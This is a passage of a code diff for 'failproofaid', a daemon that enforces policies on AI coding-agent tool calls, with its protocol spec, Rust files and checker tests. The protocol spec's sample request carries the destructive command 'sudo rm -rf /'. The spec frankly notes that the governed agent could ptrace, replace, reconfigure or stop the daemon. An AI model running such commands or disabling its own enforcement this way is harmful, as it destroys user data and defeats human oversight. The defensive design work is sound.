writeRootPkg(); + writeCargo(); + writeCrate("fpai-canon", '[package]\nname = "fpai-canon"\nversion = { workspace = true }\n'); + expect(checkVersions(root)).toEqual([]); + }); + + it("fails when a crate declares no version at all", () => { + writeRootPkg(); + writeCargo(); + writeCrate("fpai-ipc", '[package]\nname = "fpai-ipc"\nedition.workspace = true\n'); + + const violations: Violation[] = checkVersions(root); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("version.workspace = true"); + }); +}); + +describe("checkVersions — lifecycle scripts", () => { + it("fails when `prepare` is re-added", () => { + writeRootPkg({ scripts: { build: "bun build", prepare: "bun run build" } }); + + const violations: Violation[] = checkVersions(root); + expect(violations).toHaveLength(1); + expect(violations[0].file).toBe("package.json"); + expect(violations[0].message).toContain("prepare"); + }); + + it.each(FORBIDDEN_LIFECYCLE_SCRIPTS as string[])("fails when `%s` is declared", (name) => { + writeRootPkg({ scripts: { [name]: "echo hi" } }); + + const violations: Violation[] = checkVersions(root); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain(name); + }); + + it("reports one violation per declared lifecycle script", () => { + writeRootPkg({ scripts: { prepare: "x", postinstall: "y", prepack: "z" } }); + expect(checkVersions(root)).toHaveLength(3); + }); + + it("covers every lifecycle script npm runs on install, pack or publish", () => { + expect(FORBIDDEN_LIFECYCLE_SCRIPTS).toEqual([ + "prepare", + "prepublish", + "prepublishOnly", + "prepack", + "postpack", + "preinstall", + "install", + "postinstall", + ]); + }); +}); + +describe("checkVersions — malformed input", () => { + it("reports a missing root package.json rather than throwing", () => { + const violations: Violation[] = checkVersions(root); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("No package.json"); + }); + + it("reports an unparseable root package.json rather than throwing", () => { + writeFileSync(join(root, "package.json"), "{ not json"); + const violations: Violation[] = checkVersions(root); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Could not parse"); + }); +}); + +describe("the minimal TOML helpers", () => { + it("extracts a table body and stops at the next table header", () => { + const src = '[workspace.package]\nversion = "1.0.0"\n\n[profile.release]\nlto = "thin"\n'; + expect(extractTomlTable(src, "workspace.package")).toContain('version = "1.0.0"'); + expect(extractTomlTable(src, "workspace.package")).not.toContain("lto"); + }); + + it("returns null for an absent table", () => { + expect(extractTomlTable('[workspace]\nmembers = []\n', "workspace.package")).toBeNull(); + }); + + it("does not treat a `#` inside a quoted value as a comment", () => { + const src = '[workspace.package]\nrepository = "https://example.com/a#b"\n'; + expect(readTomlString(src, "workspace.package", "repository")).toBe("https://example.com/a#b"); + }); + + it("does not confuse `rust-version` with `version`", () => { + const src = '[workspace.package]\nrust-version = "1.90"\nversion = "0.2.0"\n'; + expect(readTomlString(src, "workspace.package", "version")).toBe("0.2.0"); + }); + + it("recognises both workspace-inheritance spellings and rejects a literal", () => { + expect(inheritsWorkspaceVersion("[package]\nversion.workspace = true\n")).toBe(true); + expect(inheritsWorkspaceVersion("[package]\nversion = { workspace = true }\n")).toBe(true); + expect(inheritsWorkspaceVersion('[package]\nversion = "1.2.3"\n')).toBe(false); + }); +}); + +describe("the repository's own state", () => { + it("passes against the real repository root", () => { + // The gate is only worth having if it is green on `main`. This is the same + // assertion CI makes, run in-process so a local break is caught before push. + const repoRoot = join(__dirname, "..", ".."); + expect(checkVersions(repoRoot)).toEqual([]); + }); +}); diff --git a/crates/.gitkeep b/crates/.gitkeep new file mode 100644 index 00000000..e69de29b diff --git a/crates/PROTOCOL.md b/crates/PROTOCOL.md new file mode 100644 index 00000000..93718d69 --- /dev/null +++ b/crates/PROTOCOL.md @@ -0,0 +1,445 @@ +# `failproofaid` local IPC — protocol v1 (Stage 1) + +Status: **Stage 1 walking skeleton.** Only `Ping` and `EvaluateHook` are +implemented. `Status`, `Reload`, `Flush`, and the `Query` set are named in +[03-daemon-architecture.md](../desgin-docs/v1.0.0/phase-1-local-enforcement/03-daemon-architecture.md) +and land later; the framing and envelope below are shaped so adding them is a +new `op` variant rather than a wire change. + +This file is the single source of truth shared by `fpai-ipc` (Rust), +`failproofaid` (Rust), and `src/hooks/daemon-client.ts` (TypeScript). All three +are written against it independently, so anything ambiguous here becomes a +silent interop bug. + +--- + +## Transport + +A Unix domain stream socket at `$FAILPROOFAI_DAEMON_SOCKET`, or, in order: + +| Preference | Path | +|---|---| +| 1 | `$XDG_RUNTIME_DIR/failproofai/failproofaid.sock` | +| 2 | `~/.failproofai/run/failproofaid.sock` | + +The fallback is not defensive padding. `XDG_RUNTIME_DIR` is unset over a plain +`ssh` session on several distributions and on macOS generally, which is exactly +the environment an agent CLI runs in. + +No TCP, including loopback. + +**v1.0.0 runs entirely in user scope**, so the socket lives in the user's own +runtime directory and is owned by that user. It is created `0600`: on a shared +machine several users may each run their own daemon, and a socket another user +could connect to would let them submit events into — and read verdicts from — +someone else's evaluator. + +What this does *not* do is defend against the user who owns it. That user can +unlink the socket, bind a substitute, `ptrace` the daemon, or replace its +binary, because it is their process running under their UID. See +[what the sealed tier does and does not claim](#what-the-sealed-tier-claims). + +## Framing + +Every message, in both directions: + +``` ++--------+--------------------+ +| u32 BE | body (UTF-8 JSON) | ++--------+--------------------+ + length length bytes +``` + +- `length` counts the body only. +- **Maximum body: 1 MiB (1_048_576).** This matches the existing 1 MB stdin cap + in `handleHookEvent`, so a payload that the legacy path would have discarded + cannot become a daemon-path OOM instead. +- A declared length above the maximum is a framing error: the daemon replies + with `frame_too_large` if it can and closes the connection. It must not + allocate the declared size before validating it. (`fpai-ipc` asserts this + with a counting global allocator: a `u32::MAX` prefix that allocated would + fail the test rather than exhaust the machine.) +- A short read (EOF mid-frame) is a framing error, never a zero-filled frame. +- Length-prefixed, not newline-delimited, because payloads carry arbitrary tool + input including newlines. + +## Handshake + +The first frame in each direction is the version handshake. It is a separate +frame rather than a field on every request so a version mismatch is diagnosed +once, at connect, instead of per event. + +Client → daemon: + +```json +{ "hello": { "protocol_version": 1, "client": "failproofai-hook", "client_version": "0.0.16-beta.0" } } +``` + +Daemon → client, on success: + +```json +{ "hello_ack": { "protocol_version": 1, "daemon_version": "0.0.16-beta.0", "generation_id": "gen-" } } +``` + +Daemon → client, on mismatch — then close: + +```json +{ "version_mismatch": { "supported": [1], "received": 2 } } +``` + +**A client that receives anything other than `hello_ack` must fall back to the +legacy in-process evaluator.** It must never guess, retry with a different +version, or fail the hook. + +## Encoding rules + +These are the questions two independent implementations of this document +actually disagreed on. Each is settled here rather than left to the reader, +because every one of them is a silent interop bug rather than a loud one. + +1. **Absent key and explicit `null` are equivalent on read; writers always emit + the key.** A reader must accept `{"host": {"cwd": "/x"}}` and + `{"host": {"cwd": "/x", "project_dir": null}}` identically. A writer emits + every field of every object it sends, `null` where it has no value. Readers + being lenient and writers being strict means a lagging writer interoperates + while the wire stays self-describing. +2. **A zero-length body is `malformed_frame`,** not an empty message. There is + no message in this protocol whose encoding is zero bytes, so a zero length + is always a bug on the sender's side. +3. **`payload` must be a JSON object.** An array or scalar is + `malformed_frame`. +4. **Every `session` field is optional.** No harness supplies all four. +5. **`shadow` defaults to `false` when absent.** +6. **Unknown keys are rejected, everywhere.** Not ignored. A field this version + does not know is either a client bug or a version skew the handshake should + have caught; dropping it silently would make both look like success. The one + deliberate exception is `env_facts`, whose unknown keys are rejected with a + *specific* error naming the key — see `unknown_env_fact` — because "you sent + something I do not accept" is only actionable if it says what. +7. **Attestations combine as a maximum under `sealed < sealed_unattested < + user_context`** — least attested wins. A combined result can never be + reported as more attested than its weakest input; the inverse would let a + `user_context` contribution be laundered into a `sealed` claim, which is the + exact property the two-tier split exists to provide. + +The examples below abbreviate: an `op` or `result` block is shown without its +enclosing `{"request_id": …}` frame. Every real request and response frame +carries `request_id`. + +## Operations + +After a successful handshake, request frames are: + +```json +{ "request_id": "", "op": { … } } +``` + +and response frames are: + +```json +{ "request_id": "", "result": { … } } +``` + +`request_id` is echoed verbatim. Stage 1 is strictly request/response over one +connection with no pipelining, so a mismatched `request_id` is a protocol +error — but it is carried now because decision evidence must be correlatable +once lanes are concurrent. + +### `Ping` + +```json +{ "op": { "ping": {} } } +→ { "result": { "pong": { "daemon_version": "0.0.16-beta.0", "uptime_ms": 12345 } } } +``` + +Exists so a client can prove liveness without submitting an event, and so the +service manager's readiness check is independent of policy state. + +### `EvaluateHook` + +```json +{ + "op": { + "evaluate_hook": { + "cli": "claude", + "event_type": "PreToolUse", + "raw_event_type": "PreToolUse", + "payload": { "tool_name": "Bash", "tool_input": { "command": "sudo rm -rf /" } }, + "session": { + "session_id": "sess-1", + "transcript_path": "/home/u/.claude/projects/x/sess-1.jsonl", + "permission_mode": "default", + "hook_event_name": "PreToolUse" + }, + "host": { + "home": null, + "cwd": "/home/u/project", + "project_dir": null, + "env_facts": { "CLAUDE_PROJECT_DIR": null } + }, + "enabled_policies": ["block-sudo", "block-env-files"], + "deadline_ms": 800, + "shadow": false + } + } +} +``` + +Field notes, in decreasing order of how badly getting them wrong would hurt: + +- **`host.home` MUST be `null`.** The daemon derives it from + `getpwuid_r(peer_uid)`. A non-null `home` is a **protocol error** + (`client_asserted_home`) and the request is rejected — not ignored, not + overwritten. + + The reason is correctness rather than defence, and saying so keeps the rule + from looking like theatre now that the client and the daemon are the same + user. `isAgentInternalPath` and `block-read-outside-cwd` both *widen* the + allow set: a `home` of `/` makes every path on the machine "agent internal", + so of every host field this is the one where a wrong value silently permits + instead of silently denying. The daemon is also resident and answers for + sessions it did not start, so a per-request `home` is the only one that can + be right at all. Deriving it removes a field that can be wrong; the threat + being defended against is a buggy client, and a buggy client is the one that + actually happens. + + Rejecting rather than overwriting is deliberate. Overwriting makes a + wrong value harmless but leaves the protocol *looking* like it accepts the + field, so the next client implementation sets it and the next reviewer + believes it means something. +- **`host.cwd`, `host.project_dir`, `host.env_facts` are client-asserted** and + cannot be derived. `/proc//cwd` is TOCTOU-prone and, on macOS, + unreadable for a non-matching UID. Any decision whose deciding policy read + one of these is recorded `sealed_unattested`. That is the honest version of + "unforgeable" and is better than a claim that quietly is not true. +- `env_facts` is a **closed set** — currently `CLAUDE_PROJECT_DIR` only. The + daemon rejects unknown keys rather than passing them through, so the hook + client's environment (which originates in the agent's process, and therefore + under the agent's control) cannot become an injection channel. +- `payload` is **already canonicalized by the client** for Stage 1: tool names + and tool-input keys have been mapped, and the per-CLI payload normalizations + applied. **The daemon trusts this at Stage 1 and does not re-derive it.** + + An earlier revision of this document claimed `fpai-canon` re-derived + canonicalization and rejected a mismatch as `canonicalization_mismatch`. That + was never true, and it is not implementable from this envelope: re-deriving + requires the *raw* vendor payload, and only the canonicalized one is sent. + Believing the claim would have been worse than not making it — it describes a + check a reviewer would reasonably assume was catching a hostile or buggy + client, and nothing was. + + What it costs today is bounded. The client runs as the user whose events + these are, and every field it can distort is one it could equally distort + before canonicalization; the fields that *would* be dangerous to accept — + `home` above all — are the ones the daemon derives itself. So this is a + missing defence-in-depth layer, not an open door. `canonicalization_mismatch` + stays in the error enum because Stage 2 moves canonicalization fully + daemon-side, which is where the check becomes both possible and meaningful. + +- `enabled_policies` is the client's **resolved** enabled set, from its merged + project/local/user configuration. The daemon evaluates *this*, never a set of + its own. + + This is load-bearing and was learned the hard way. When the daemon supplied + its own default list, a user with 30 policies enabled got the 11 builtin + defaults — 19 builtins plus every custom and convention policy silently + stopped enforcing the moment the daemon answered. It also made + `needs_user_context` unreachable, because the sealed worker computes that list + by partitioning the set it was handed, and a daemon-supplied set is + all-sealed by construction. + + An empty list is a **protocol error**, not "evaluate nothing" and not "use + the defaults". The first turns a client bug into a silent allow; the second + reinstates the defect. + + It stays client-asserted, and in user scope that is not a compromise awaiting + a fix: the daemon and the client are the same user, so a set resolved by the + client carries exactly the authority a set resolved by the daemon would. The + root-owned `machine.json` that would make it unforgeable belongs to the + deferred `managed` scope, along with the reason anyone would want it. +- `deadline_ms` is the **remaining** end-to-end budget, not a per-hop timeout. + The daemon converts it to a monotonic instant on receipt. If it cannot answer + within it, it returns `deadline_exceeded` and the client falls back to legacy + rather than the hook hanging. +- `shadow: true` means "evaluate sealed-only, do not run anything with side + effects, the caller is discarding your answer". It exists because running + both paths would execute `warn-repeated-tool-calls` twice (doubling its + sidecar counter) and fire the five `require-*-before-stop` policies' `git` + and `gh` subprocesses twice. + +Success result: + +```json +{ + "result": { + "evaluated": { + "decision_id": "dec-", + "generation_id": "gen-", + "exit_code": 0, + "stdout": "{\"hookSpecificOutput\":{…}}", + "stderr": "", + "decision": "deny", + "policy_name": "failproofai/block-sudo", + "policy_names": null, + "reason": "sudo commands are blocked", + "attestation": "sealed", + "matched_policies": ["failproofai/block-sudo"], + "needs_user_context": [] + } + } +} +``` + +`exit_code` / `stdout` / `stderr` / `decision` / `policy_name` / `policy_names` +/ `reason` are **byte-for-byte the fields `EvaluationResult` already has** in +`src/hooks/policy-evaluator.ts`. The client writes them out unchanged. That is +what makes byte-exact parity against the TypeScript oracle a meaningful +assertion rather than a shape check. + +`attestation` is one of: + +| Value | Meaning | +|---|---| +| `sealed` | every deciding policy ran in the sealed tier and read no client-asserted host field | +| `sealed_unattested` | ran sealed, but a deciding policy read `cwd`, `project_dir`, or an env fact | +| `user_context` | a `user-context` policy contributed to the decision | + +`needs_user_context` lists policy names that matched but that the sealed worker +cannot run — the seven host-access builtins that spawn `git` or `gh`, and every +custom or convention policy. **Stage 1 evaluates sealed-only**, so a non-empty +list means the daemon could not answer the whole question. + +A client seeing a non-empty list **must fall back to legacy**, and this is the +single most important client obligation in the document. Enforcing the subset +the daemon *could* evaluate would silently drop every policy it could not — +which is not a degraded answer, it is a wrong one, and it is exactly the +failure this product exists to prevent. The field was briefly unable to be +non-empty (the daemon partitioned a list it had supplied itself, which was +all-sealed by construction) and that made this obligation unreachable; it is +reachable now because the list comes from the client. + +The field's meaning changed with the scope decision and is worth stating +precisely. It once meant "no per-user agent was attached", because a +service-account daemon could not reach a user's files and needed a second +resident process to do it. There is no per-user agent: the daemon runs as the +user and can spawn `git` itself. Running these policies in the daemon rather +than returning them is a later stage's work, not a missing process. + +### Errors + +```json +{ "request_id": "…", "result": { "error": { "code": "client_asserted_home", "message": "…" } } } +``` + +| `code` | Cause | +|---|---| +| `client_asserted_home` | `host.home` was non-null | +| `unknown_env_fact` | `host.env_facts` carried a key outside the closed set | +| `canonicalization_mismatch` | daemon-side canonicalization disagreed with the client's | +| `frame_too_large` | declared body length above 1 MiB | +| `malformed_frame` | short read, or a body that is not the expected JSON shape | +| `deadline_exceeded` | could not answer within `deadline_ms` | +| `unsupported_op` | a known-shaped op this build does not implement | +| `internal` | anything else; the daemon logs detail and returns a generic message | + +**Every error is a client fallback to legacy, never a failed hook.** The +governing rule for the whole Stage-1 client is in +[01-stages.md](../desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/01-stages.md): +`tryDaemonEvaluate` returns `null` on *any* failure, and the caller keeps +executing the same function it executes today. + +## What the sealed tier claims + +v1.0.0 ships **user scope only**: the daemon runs as the invoking user, its +state lives under `~/.failproofai/` and `~/.agenteye/`, and nothing is +installed with elevated privilege. That is a deliberate simplification for this +version, and it changes what the sealed tier is allowed to claim. + +**It does not make a verdict unforgeable.** That argument required the daemon +to run as a UID the governed agent could not administer. Here they are the same +user, so an agent with its own authority can `ptrace` the daemon, preload into +it, replace its binary, edit `~/.failproofai`, or simply stop it. Any statement +that a verdict cannot be forged, or that the tier is tamper-resistant, is false +in this version and must not be made. + +What the tier does buy is worth having and is not the same thing: + +- **A warm resident evaluator** instead of a fresh interpreter per hook event. +- **No temp files next to the user's source.** The legacy loader writes + `.__failproofai_tmp__.mjs` beside the policy on every tool call; measured at + 3.49 ms of added `config+load` per event. +- **A bounded deadline that is actually enforced** — a watchdog thread + interrupts a runaway policy. Before it existed, a default-enabled policy's + backtracking regex ran 30 s against a 200 ms budget. +- **Deny-by-default capabilities.** No `require`, no filesystem, no network in + the sealed context. This contains a policy that is *buggy or over-reaching*. + It does not contain an adversary who is already this user. + +The distinction between "protects against mistakes" and "protects against an +adversary" is the whole of it, and collapsing the two is how a security claim +becomes marketing. The managed and system scopes that would restore the +integrity claim are designed and deliberately deferred. + +## `install.json` + +The client verifies the socket's owner before speaking to it. A missing or +unreadable file means the client falls back to legacy rather than proceeding +unverified. + +| Source | Path | +|---|---| +| `$FAILPROOFAI_INSTALL_JSON` | wins over everything; used by tests | +| default | `~/.failproofai/install.json` | + +It records what a particular `setup` run did on this machine, so it sits beside +the rest of that user's state rather than anywhere privileged. `service_uid` is +the UID the daemon runs as, which in user scope is the user's own. + +**Node cannot read peer credentials of a Unix socket**, so the TypeScript +client compares `stat(socket).uid` against `service_uid` instead. Be precise +about what that is worth in this version: it catches a stray socket, a leftover +from another user on a shared machine, or a misconfigured path. It is not a +defence against the owning user, who can write both the socket and the file. +The daemon's own `SO_PEERCRED` check is the stronger of the two and is what +keeps *other* users out. + +## Peer credentials + +Mandatory, and read from the kernel — never from a field the caller supplies. + +| Platform | Mechanism | +|---|---| +| Linux | `getsockopt(SOL_SOCKET, SO_PEERCRED)` → `struct ucred { pid, uid, gid }` | +| macOS | `getpeereid(2)` → `(uid, gid)` | + +The UID is the authorization context for the request. `home` is resolved from +it with `getpwuid_r`; a miss is an `internal` error, never a fallback to a +default home. + +**Both survive the move to user scope, for a narrower reason than before.** The +daemon serves exactly one user, so peer credentials are no longer a privilege +boundary — they are a "this connection is mine" check. That still matters on a +shared machine, where several users may each run their own daemon and a +misrouted or leftover socket path would otherwise let one user's events reach +another's evaluator. The daemon refuses any peer whose UID is not its own. + +Deriving `home` rather than accepting it likewise stays, and is not merely +inertia. `isAgentInternalPath` and `block-read-outside-cwd` both *widen* the +allow set, so `home` is the one host field where a wrong value quietly relaxes +a verdict instead of tightening it. Deriving it costs one `getpwuid_r` and +removes a field that could be wrong, which is worth keeping even when the +client and the daemon are the same user — a bug in the client is now the threat +model, and a bug is exactly what this catches. + +## Client-side kill switch + +`FAILPROOFAI_DAEMON_MODE`: + +| Value | Behaviour | +|---|---| +| unset, or `off` | **default.** The daemon path is dead code. `tryDaemonEvaluate` returns `null` before opening a socket. | +| `enforce` | return the daemon's answer; fall back to legacy on any failure | +| `shadow` | run legacy, then the daemon with `shadow: true`, return **legacy**, record the diff (Stage 2) | + +Checked at the top of `tryDaemonEvaluate`, so an incident is resolved with an +environment variable rather than a release. diff --git a/crates/failproofaid/Cargo.toml b/crates/failproofaid/Cargo.toml new file mode 100644 index 00000000..d99dca20 --- /dev/null +++ b/crates/failproofaid/Cargo.toml @@ -0,0 +1,19 @@ +[package] +name = "failproofaid" +description = "The failproofai local enforcement daemon" +version.workspace = true +edition.workspace = true +license.workspace = true +repository.workspace = true +rust-version.workspace = true + +[lints] +workspace = true + +[dependencies] +fpai-ipc = { path = "../fpai-ipc" } +rquickjs = { version = "0.12", default-features = false, features = ["bindgen"] } +serde = { version = "1", features = ["derive"] } +serde_json = "1" + +[dev-dependencies] diff --git a/crates/failproofaid/src/lib.rs b/crates/failproofaid/src/lib.rs new file mode 100644 index 00000000..837172da --- /dev/null +++ b/crates/failproofaid/src/lib.rs @@ -0,0 +1,40 @@ +//! `failproofaid` — the failproofai local enforcement plane. +//! +//! Stage 1 is a walking skeleton: the sealed policy worker, and enough of the +//! IPC surface to answer `Ping` and `EvaluateHook`. The spool and the schema +//! catalog land in later stages. +//! +//! ## Scope +//! +//! v1.0.0 ships **user scope only** — a deliberate simplification for this +//! version. The daemon runs as the invoking user, keeps its state in +//! `~/.failproofai/` and `~/.agenteye/`, and installs nothing with elevated +//! privilege. The shipped runtime is exactly two processes: this daemon and the +//! `failproofai` CLI. (The hook client the harness spawns per event is a third +//! process, but it is started by the harness rather than by us and holds no +//! state.) +//! +//! Two things fall out of that and are worth stating where someone will read +//! them. There is no per-user agent: it existed only because a service account +//! could not traverse `0700` homes to read transcripts, and running as the user +//! removes the problem rather than bridging it. And the sealed tier makes **no +//! verdict-integrity claim** — the governed agent and this daemon are the same +//! user, so it can `ptrace`, preload, or replace the binary. What the tier does +//! buy is a warm evaluator, no per-call temp files, an enforced deadline, and a +//! sandbox that contains a buggy policy rather than an adversary. See +//! `crates/PROTOCOL.md` for the long form. +//! +//! See `crates/PROTOCOL.md` for the wire contract and +//! `desgin-docs/v1.0.0/phase-1-local-enforcement/03-daemon-architecture.md` for +//! what this process is eventually responsible for. + +pub mod paths; +pub mod server; +pub mod worker; + +pub use paths::{ + agenteye_root, default_agenteye_root, default_failproofai_root, default_install_manifest_path, + default_socket_path, failproofai_root, install_manifest_path, socket_path, +}; +pub use server::{Daemon, Lane}; +pub use worker::{SealedWorker, WorkerError}; diff --git a/crates/failproofaid/src/main.rs b/crates/failproofaid/src/main.rs new file mode 100644 index 00000000..8512f10f --- /dev/null +++ b/crates/failproofaid/src/main.rs @@ -0,0 +1,109 @@ +//! `failproofaid` — the failproofai local enforcement daemon. +//! +//! Stage 1 usage: +//! +//! ```text +//! failproofaid # resolves its own socket +//! failproofaid --socket /path/to/failproofaid.sock # explicit, for tests +//! ``` +//! +//! v1.0.0 runs in user scope: the daemon is started as the invoking user and +//! resolves its socket under that user's own runtime directory, so there is no +//! install step it depends on and nothing to elevate. `--socket` stays because +//! the test suite and the parity harness need each run on its own path. +//! Registering it with a service manager is Stage 3; until then it is run +//! directly. + +use std::process::ExitCode; + +use failproofaid::paths::default_socket_path; +use failproofaid::server::Daemon; + +fn main() -> ExitCode { + let mut args = std::env::args().skip(1); + // Arguments are parsed BEFORE the socket is resolved, and the resolution + // failure is deferred to the point of actually needing one. Resolving first + // made `--help` and `--version` exit 2 in exactly the environment where a + // user would reach for them — an unset $HOME and $XDG_RUNTIME_DIR — and it + // made the `` arm of the help text below unreachable. + let mut socket: Option = None; + + while let Some(arg) = args.next() { + match arg.as_str() { + "--socket" => match args.next() { + Some(path) => socket = Some(path), + None => { + eprintln!("--socket requires a path"); + return ExitCode::from(2); + } + }, + "--version" => { + println!("{}", env!("CARGO_PKG_VERSION")); + return ExitCode::SUCCESS; + } + "--help" | "-h" => { + println!( + "failproofaid {}\n\n\ + USAGE\n \ + failproofaid [--socket ]\n\n\ + Runs as the invoking user. State lives in ~/.failproofai/ and\n\ + ~/.agenteye/; nothing is installed with elevated privilege.\n\n\ + SOCKET, in preference order\n \ + $FAILPROOFAI_DAEMON_SOCKET\n \ + $XDG_RUNTIME_DIR/failproofai/failproofaid.sock\n \ + ~/.failproofai/run/failproofaid.sock\n\n\ + Resolved for this environment: {}", + env!("CARGO_PKG_VERSION"), + default_socket_path() + .map(|p| p.to_string_lossy().into_owned()) + .unwrap_or_else(|| "".into()), + ); + return ExitCode::SUCCESS; + } + other => { + eprintln!("unknown argument: {other}"); + return ExitCode::from(2); + } + } + } + + // User scope: $FAILPROOFAI_DAEMON_SOCKET, else $XDG_RUNTIME_DIR/failproofai/, + // else ~/.failproofai/run/. Nothing under /run, /opt or /var/lib — see + // failproofaid::paths. `Daemon::bind` creates the directory; in user scope + // no installer has been there first. + let socket = match socket + .or_else(|| default_socket_path().map(|path| path.to_string_lossy().into_owned())) + { + Some(path) => path, + None => { + eprintln!( + "[failproofaid] cannot locate a socket directory: neither $XDG_RUNTIME_DIR \ + nor $HOME is set. Pass --socket explicitly." + ); + return ExitCode::from(2); + } + }; + + // Binding returns only once the sealed bundle has loaded, so a failure here + // is a failed start rather than a daemon that accepts traffic it cannot + // answer. `Type=notify` on the systemd unit depends on that ordering. + let daemon = match Daemon::bind(&socket) { + Ok(d) => d, + Err(e) => { + eprintln!("[failproofaid] failed to start on {socket}: {e}"); + return ExitCode::FAILURE; + } + }; + + eprintln!( + "[failproofaid] listening on {} (generation {})", + daemon.socket_path().display(), + daemon.generation_id() + ); + + if let Err(e) = daemon.serve() { + eprintln!("[failproofaid] listener stopped: {e}"); + return ExitCode::FAILURE; + } + ExitCode::SUCCESS +} diff --git a/crates/failproofaid/src/paths.rs b/crates/failproofaid/src/paths.rs new file mode 100644 index 00000000..a5a09388 --- /dev/null +++ b/crates/failproofaid/src/paths.rs @@ -0,0 +1,236 @@ +//! Where things live in user scope. +//! +//! v1.0.0 ships **user scope only** — a deliberate simplification for this +//! version. There is no service account, no privileged install, and nothing +//! under `/opt`, `/var/lib`, `/etc` or `/Library`. The daemon runs as the +//! invoking user and keeps everything in that user's own two roots: +//! +//! | Root | Holds | +//! |---|---| +//! | `~/.failproofai/` | configuration, policy store, `install.json`, logs | +//! | `~/.agenteye/` | capture state — checkpoints, spool, delivery | +//! +//! Both already exist and are already the roots the shipped product uses, so +//! nothing migrates. That is most of the point: the managed-scope design +//! introduced a third and fourth location plus a privileged installer to +//! populate them, and dropping it removes all of that rather than relocating +//! it. +//! +//! The socket is the one path in neither, because a socket belongs in a runtime +//! directory that is cleared between boots rather than in a state directory +//! that is not. +//! +//! ## Why every function takes its environment +//! +//! The resolvers are pure: they read nothing global and take `home` and +//! `runtime_dir` as arguments, with thin `*_from_env` wrappers doing the +//! actual reads. That is not ceremony. `std::env::set_var` is `unsafe` in +//! edition 2024 because it is a data race in a multi-threaded process, and a +//! test suite that mutates process environment to exercise a path resolver has +//! to either serialise every test behind a lock or accept flakiness. Passing +//! the environment in removes the problem rather than guarding it, and it means +//! the table of cases below is exhaustive and order-independent. + +use std::path::PathBuf; + +const SOCKET_FILE: &str = "failproofaid.sock"; + +/// Resolve the socket path from explicit inputs. +/// +/// Preference order: +/// +/// 1. `explicit` — `$FAILPROOFAI_DAEMON_SOCKET`, used by tests and by anyone +/// running more than one daemon. +/// 2. `runtime_dir` — `$XDG_RUNTIME_DIR/failproofai/`. +/// 3. `home` — `~/.failproofai/run/`. +/// +/// The third is not defensive padding. `XDG_RUNTIME_DIR` is unset over a plain +/// `ssh` session on several distributions and on macOS generally — precisely +/// where an agent CLI runs — so a daemon that only knew the second would fail +/// to start in a common, unremarkable environment. +/// +/// Empty strings count as unset. Exported-but-empty is normal in stripped +/// environments and is not the same as "the runtime directory is `/`". +#[must_use] +pub fn socket_path( + explicit: Option<&str>, + runtime_dir: Option<&str>, + home: Option<&str>, +) -> Option { + if let Some(path) = non_empty(explicit) { + return Some(PathBuf::from(path)); + } + if let Some(dir) = non_empty(runtime_dir) { + return Some(PathBuf::from(dir).join("failproofai").join(SOCKET_FILE)); + } + non_empty(home).map(|h| { + PathBuf::from(h) + .join(".failproofai") + .join("run") + .join(SOCKET_FILE) + }) +} + +/// `~/.failproofai/` — configuration, policy store, `install.json`, logs. +#[must_use] +pub fn failproofai_root(home: Option<&str>) -> Option { + non_empty(home).map(|h| PathBuf::from(h).join(".failproofai")) +} + +/// `~/.agenteye/` — capture checkpoints, spool, delivery state. +/// +/// Deliberately the collector's existing root rather than a new subdirectory of +/// `~/.failproofai/`. The daemon absorbs what the standalone collector did, and +/// the compatibility promise covers its on-disk state; relocating it would be a +/// migration nobody asked for. +#[must_use] +pub fn agenteye_root(home: Option<&str>) -> Option { + non_empty(home).map(|h| PathBuf::from(h).join(".agenteye")) +} + +/// `~/.failproofai/install.json`, or `explicit` when given. +#[must_use] +pub fn install_manifest_path(explicit: Option<&str>, home: Option<&str>) -> Option { + if let Some(path) = non_empty(explicit) { + return Some(PathBuf::from(path)); + } + failproofai_root(home).map(|root| root.join("install.json")) +} + +fn non_empty(value: Option<&str>) -> Option<&str> { + value.filter(|v| !v.is_empty()) +} + +// ── Environment-reading wrappers ─────────────────────────────────────────── + +/// [`socket_path`] with the process environment supplied. +#[must_use] +pub fn default_socket_path() -> Option { + socket_path( + std::env::var("FAILPROOFAI_DAEMON_SOCKET").ok().as_deref(), + std::env::var("XDG_RUNTIME_DIR").ok().as_deref(), + std::env::var("HOME").ok().as_deref(), + ) +} + +/// [`failproofai_root`] with the process environment supplied. +#[must_use] +pub fn default_failproofai_root() -> Option { + failproofai_root(std::env::var("HOME").ok().as_deref()) +} + +/// [`agenteye_root`] with the process environment supplied. +#[must_use] +pub fn default_agenteye_root() -> Option { + agenteye_root(std::env::var("HOME").ok().as_deref()) +} + +/// [`install_manifest_path`] with the process environment supplied. +#[must_use] +pub fn default_install_manifest_path() -> Option { + install_manifest_path( + std::env::var("FAILPROOFAI_INSTALL_JSON").ok().as_deref(), + std::env::var("HOME").ok().as_deref(), + ) +} + +#[cfg(test)] +mod tests { + use super::*; + + const HOME: Option<&str> = Some("/home/enrolled"); + + #[test] + fn the_explicit_override_wins_over_everything() { + assert_eq!( + socket_path(Some("/tmp/explicit.sock"), Some("/run/user/1000"), HOME).unwrap(), + PathBuf::from("/tmp/explicit.sock") + ); + } + + #[test] + fn xdg_runtime_dir_is_preferred_when_set() { + assert_eq!( + socket_path(None, Some("/run/user/1000"), HOME).unwrap(), + PathBuf::from("/run/user/1000/failproofai/failproofaid.sock") + ); + } + + #[test] + fn falls_back_to_home_when_xdg_runtime_dir_is_absent() { + // The case that actually happens: a plain `ssh` session on several + // distributions, and macOS generally. A daemon that only knew + // XDG_RUNTIME_DIR would fail to start there. + assert_eq!( + socket_path(None, None, HOME).unwrap(), + PathBuf::from("/home/enrolled/.failproofai/run/failproofaid.sock") + ); + } + + #[test] + fn empty_strings_are_treated_as_unset_at_every_level() { + assert_eq!( + socket_path(Some(""), Some(""), HOME).unwrap(), + PathBuf::from("/home/enrolled/.failproofai/run/failproofaid.sock") + ); + assert_eq!( + socket_path(Some(""), Some("/run/user/1000"), HOME).unwrap(), + PathBuf::from("/run/user/1000/failproofai/failproofaid.sock") + ); + } + + #[test] + fn nothing_resolves_without_a_home_or_runtime_dir() { + // A broken environment is reported rather than papered over with a path + // in the filesystem root. + assert!(socket_path(None, None, None).is_none()); + assert!(socket_path(None, None, Some("")).is_none()); + assert!(failproofai_root(None).is_none()); + assert!(agenteye_root(None).is_none()); + } + + #[test] + fn the_two_state_roots_are_the_ones_the_product_already_uses() { + 